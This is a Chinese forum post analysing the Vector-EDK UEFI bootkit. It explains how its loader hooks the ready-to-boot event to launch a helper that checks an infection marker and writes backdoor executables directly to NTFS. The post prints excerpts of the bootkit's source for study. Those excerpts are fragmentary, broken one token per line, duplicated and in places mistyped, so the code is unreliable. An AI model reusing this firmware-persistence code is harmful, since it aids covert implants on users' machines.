Vector-EDK作为UEFI Bootkit的经典案例,在此对其进行分析。
源码在Github上可找到。
NTFS 解析器(Ntfs.efi):一个DXE驱动程序,包含一个完整的NTFS解析器,用于读写操作。
Rootkit加载器(rkloader.efi):一个DXE驱动程序,它注册一个回调来拦截EFI_EVENT_ GROUP_READY_TO_BOOT事件(表示平台已经准备好执行操作系统引导加载程序),并在启动操作系统引导程序之前加载UEFI应用程序fsbg.efi。
Bootkit辅助程序(fsbg.efi):在UEFI将控制权传递给操作系统引导加载程序之前运行的 UEFI应用程序。它使用用Ntfs.efi解析主要Bootkit函数,并注入恶意软件。
一个以Vector-edk为范本制作的感染概述图

在现在,绝大多数安全软件都只关注Ring0与Ring3,而对Ring-2很少关注,SPI读写漏洞一旦被利用,后果严重。
主函数_ModuleEntryPoint()
在这之中,gBootServices为UEFI全局变量,该函数采用CreateEventEx函数创建回调,在收到EFI_EVENT_ GROUP_READY_TO_BOOT后执行CallbackSMI函数。
此事件发生在BIOS DXE阶段结束时,操作系统引导加载程序收到控制信号之前,允许fsbg.efi在操作系统之前接管执行。
在下面给出UEFI的原型函数的解释:
NotifyTpl:0x10 对应 TPL_NOTIFY,属于高优先级。
重要的CallbackSMI()函数
这个函数很长,只截取部分分析
首先,我们看到多个UEFI协议初始化,例如:
EFI_LOADED_IMAGE_PROTOCOL提供已加载UEFI程序的信息(映像基地址、映像大小和映像在UEFI固件中的位置)。
EFI_FIRMWARE_VOLUME_PROTOCOL提供从固件卷读取和写入固件卷的接口。
EFI_DEVICE_PATH_PROTOCOL提供一个接口,用于构建到设备的路径。
何为UEFI Protocol
一个 Protocol 是一个结构体,包含一组函数指针和数据字段,定义了如何访问某种硬件、服务或功能。类似于WinAPI,但又有不同,UEFI Driver通过 Protocol 实现模块化和重用。每个 Protocol 通过一个 GUID(全局唯一标识符)来区分。
多个EFI_DEVICE_PATH_PROTOCOL初始化开始后,我们可以看到许多变量名都以New作为前缀,这通常表明它们是钩子。命名规范就是好(^_^)。因此,NewProtocol相当于一个UEFI Hook。
具体的使用:
但是,这个钩子并非拦截调用,而是实现隐蔽加载fsbg.efi。
可是DevicePathProtocol 的结构并非简单数组。实际设备路径由多个节点组成,每个节点的长度通过 EFI_DEVICE_PATH_PROTOCOL.Length 字段动态获取,需遍历所有节点累加长度。这可能是作者的疏忽。
这样计算更稳定
LoadedImage变量用一个指向 EFI_LOADED_IMAGE_PROTOCOL的指针进行初始化,之后LoadedImage可以用来确定当前模块(rkloader)所在的设备。
接下来,获得rkloader所在设备的EFI_FIRMWARE_VOLUME_PROTOCOL 和 EFI_DEVICE _PATH_PROTOCOL协议。这些协议是必要的,以建立到下一个恶意模块(即 fsbg.efi)的路径。
一旦获得了这些协议,rkloader将构造一个到fsbg.efi模块的路径,以便加载它。路径的第一部分是rkloader所在的固件卷(fsbg.efi)的路径。第二部分附加 fsbg.efi模块的GUID:LAUNCH_APP={eaea9aec-c9c1-46e2-9d52432ad25a9bob}。
最后一步是对LoadImage()的调用,执行fsbg.efi模块。
主函数UefiMain()
该函数首先检查是否感染。
fsbg.efi在第一次感染点安装了fTA UEFI变量,随后的每次引导检查它是否存在,如果可变的fTA存在,则意味着活跃的感染程序已经存在于硬盘驱动器上,并且fsbg.efi不需要向文件系统注入恶意驱动。如果在硬编码的路径中没有找到fTA,则fsbg.efi模块将在引导过程中再次安装Bootkit。
CheckfTA()函数
其余函数分析同理
总结:fsbg.efi的行为
1)通过预定义的名为fTA的UEFI度量检查系统是否已经被感染。
2)初始化 NTFS 协议。
3)通过查看预定义的部分,在UEFI映像中查找恶意可执行文件。
4)通过检查主目录中的名称来检查计算机上的现有用户,以查找特定的目标。
5)通过直接写入NTFS来安装恶意软件可执行模块scoute.exe(后门)和soldier.exe(RCS 代理)。
这个是修改EDK的NTFS解析器,没有什么特殊的构造,故不做过多分析
该Bootkit的启动过程: 
虽然随着UEFI Secure Boot 的发展,UEFI启动过程得到一定保护,但肯定有更多的0day在被利用或未被发现。
对UEFI Bootkit 的防范,还需持续进行。
本贴只为概述,欢迎批评指正。
参考
Vector-EDK f88K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5j5h3y4C8k6h3c8@1k6h3q4E0i4K6u0r3N6X3g2U0N6r3!0J5i4K6u0V1k6h3c8C8
EFI_STATUS EFIAPI
_ModuleEntryPoint(FI_HANDLE ImageHandle,EFI_SYSTEM_TABLE
*
SystemTable)
{
EFI_EVENT Event;
DEBUG((EFI_D_INFO,
"Running RK loader.\n"
));
InitializeLib(ImageHandle,SystemTable);
gReceived
=
FALSE;
/
/
重置
/
/
等待EFI_EVENT_ GROUP_READY_TO_BOOT事件
/
/
准备启动
gBootServices
-
>CreateEventEx(
0x200
,
0x10
,&CallbackSMI,NULL,&SMBIOS_TABLE_GUID, &Event );
return
EFI_SUCCESS;
EFI_STATUS EFIAPI
_ModuleEntryPoint(FI_HANDLE ImageHandle,EFI_SYSTEM_TABLE
*
SystemTable)
{
EFI_EVENT Event;
DEBUG((EFI_D_INFO,
"Running RK loader.\n"
));
InitializeLib(ImageHandle,SystemTable);
gReceived
=
FALSE;
/
/
重置
/
/
等待EFI_EVENT_ GROUP_READY_TO_BOOT事件
/
/
准备启动
gBootServices
-
>CreateEventEx(
0x200
,
0x10
,&CallbackSMI,NULL,&SMBIOS_TABLE_GUID, &Event );
return
EFI_SUCCESS;
EFI_STATUS
EFIAPI
CreateEventEx (
IN UINT32
Type
,
/
/
事件类型
IN EFI_TPL NotifyTpl,
/
/
回调的任务优先级(TPL)
IN EFI_EVENT_NOTIFY NotifyFunction,
/
/
回调函数指针
IN CONST VOID
*
NotifyContext,
/
/
传递给回调的上下文
IN CONST EFI_GUID
*
EventGroup,
/
/
事件组 GUID(可选)
OUT EFI_EVENT
*
Event
/
/
返回的事件句柄
);
EFI_STATUS
EFIAPI
CreateEventEx (
IN UINT32
Type
,
/
/
事件类型
IN EFI_TPL NotifyTpl,
/
/
回调的任务优先级(TPL)
IN EFI_EVENT_NOTIFY NotifyFunction,
/
/
回调函数指针
IN CONST VOID
*
NotifyContext,
/
/
传递给回调的上下文
IN CONST EFI_GUID
*
EventGroup,
/
/
事件组 GUID(可选)
OUT EFI_EVENT
*
Event
/
/
返回的事件句柄
);
VOID EFIAPI
CallbackSMI (EFI_EVENT Event,VOID
*
Context){
/
/
略去部分
EFI_LOADED_IMAGE_PROTOCOL
*
LoadedImage;
EFI_FIRMWARE_VOLUME_PROTOCOL
*
FirmwareProtocol;
EFI_DEVICE_PATH_PROTOCOL
*
DevicePathProtocol,
*
NewDevicePathProtocol,
*
NewFilePathProtocol,
*
NewDevicePathEnd;
return
;
}
VOID EFIAPI
CallbackSMI (EFI_EVENT Event,VOID
*
Context){
/
/
略去部分
EFI_LOADED_IMAGE_PROTOCOL
*
LoadedImage;
EFI_FIRMWARE_VOLUME_PROTOCOL
*
FirmwareProtocol;
EFI_DEVICE_PATH_PROTOCOL
*
DevicePathProtocol,
*
NewDevicePathProtocol,
*
NewFilePathProtocol,
*
NewDevicePathEnd;
return
;
}
DeviceHandle
=
LoadedImage
-
>DeviceHandle;
Status
=
gBootServices
-
>HandleProtocol(DeviceHandle, &FIRMWARE_VOLUME_PROTOCOL_GUID, &FirmwareProtocol);
Status
=
gBootServices
-
>HandleProtocol(DeviceHandle, &DEVICE_PATH_PROTOCOL_GUID, &DevicePathProtocol);
DevicePathLength
=
DevicePathProtocol
-
>Length[
0
]
+
DevicePathProtocol
-
>Length[
1
];
DevicePathLength
+
=
sizeof(EFI_GUID)
+
4
+
4
;
gBootServices
-
>AllocatePool(
4
, DevicePathLength, &NewDevicePathProtocol);
DeviceHandle
=
LoadedImage
-
>DeviceHandle;
Status
=
gBootServices
-
>HandleProtocol(DeviceHandle, &FIRMWARE_VOLUME_PROTOCOL_GUID, &FirmwareProtocol);
Status
=
gBootServices
-
>HandleProtocol(DeviceHandle, &DEVICE_PATH_PROTOCOL_GUID, &DevicePathProtocol);
DevicePathLength
=
DevicePathProtocol
-
>Length[
0
]
+
DevicePathProtocol
-
>Length[
1
];
DevicePathLength
+
=
sizeof(EFI_GUID)
+
4
+
4
;
gBootServices
-
>AllocatePool(
4
, DevicePathLength, &NewDevicePathProtocol);
DevicePathLength
=
GetDevicePathSize(DevicePathProtocol);
DevicePathLength
=
GetDevicePathSize(DevicePathProtocol);
/
/
复制
"VOLUME"
描述符
gBootServices
-
>CopyMem( NewDevicePathProtocol,DevicePathProtocol, DevicePathLength);
gBootServices
-
>CopyMem(((CHAR8
*
)(NewFilePathProtocol)
+
4
),&LAUNCH_APP,sizeof(EFI_GUID));
/
/
复制
"VOLUME"
描述符
gBootServices
-
>CopyMem( NewDevicePathProtocol,DevicePathProtocol, DevicePathLength);
gBootServices
-
>CopyMem(((CHAR8
*
)(NewFilePathProtocol)
+
4
),&LAUNCH_APP,sizeof(EFI_GUID));
Status
=
gBootServices
-
>LoadImage(FALSE,gImageHandle,NewDevicePathProtocol,
NULL,
0
,&ImageLoadedHandle);
Status
=
gBootServices
-
>LoadImage(FALSE,gImageHandle,NewDevicePathProtocol,
NULL,
0
,&ImageLoadedHandle);
EFI_STATUS
/
/
Entry Point
UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE
*
SystemTable)
{
/
/
变量略
Print
(L
"parte 1\n"
);
/
/
Step
1
if
(CheckfTA()
=
=
TRUE)
return
TRUE;
Print
(L
"parte 2\n"
);
Status
=
gBS
-
>HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, &LoadedImage);
if
(EFI_ERROR (Status))
{
Print
(L
"Error LoadedImageProtocol\r\n"
);
return
Status;
}
Print
(L
"parte 3\n"
);
VirtualSize
=
0
;
pSectiondata
=
0
;
if
(GetImageEx (ImageHandle, &SOAPP, EFI_SECTION_RAW, &
Buffer
, &Size, FALSE)
=
=
EFI_SUCCESS)
{
Print
(L
"parte 4\n"
);
VirtualSize
=
Size;
pSectiondata
=
(UINTN)
Buffer
;
Print
(L
"B0=%x B1=%x %c%c\n"
,
Buffer
[
0
],
Buffer
[
1
],
Buffer
[
0
],
Buffer
[
1
]);
/
/
CpuBreakpoint();
/
/
Setp
2
if
(CheckUsers(LoadedImage
-
>DeviceHandle)
=
=
FALSE)
return
TRUE;
Print
(L
"parte 5\n"
);
}
Print
(L
"parte 6\n"
);
Print
(L
"B0=%x B1=%x %c%c\n"
,
Buffer
[
0
],
Buffer
[
1
],
Buffer
[
0
],
Buffer
[
1
]);
/
/
CpuBreakpoint();
return
EFI_SUCCESS;
}
EFI_STATUS
/
/
Entry Point
UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE
*
SystemTable)
{
/
/
变量略
Print
(L
"parte 1\n"
);
/
/
Step
1
if
(CheckfTA()
=
=
TRUE)
return
TRUE;
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2025-3-2 14:02
被TurkeybraNC编辑
,原因: